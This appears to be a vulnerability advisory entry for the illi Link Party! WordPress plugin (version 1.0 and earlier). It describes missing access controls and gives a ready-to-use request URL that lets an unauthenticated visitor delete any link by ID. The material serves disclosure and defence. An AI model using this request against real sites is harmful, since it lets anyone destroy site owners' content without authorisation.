illi Link Party! <= 1.0 - Unauthenticated Arbitrary Link Deletion

2024-01-2300:00:00

Bob Matyas

unauthenticated access

arbitrary deletion

illi link party

9.6 High

AI Score

Confidence

High

0 Low

EPSS

Percentile

0.0%

JSON

Description The plugin lacks proper access controls, allowing unauthenticated visitors to delete links.

http://example.com/?page=illi3/includes/functions.php&action=delete_submission&id=INSERT_ID

Replace "INSERT_ID" with an ID of a link and hit enter. The link will be deleted.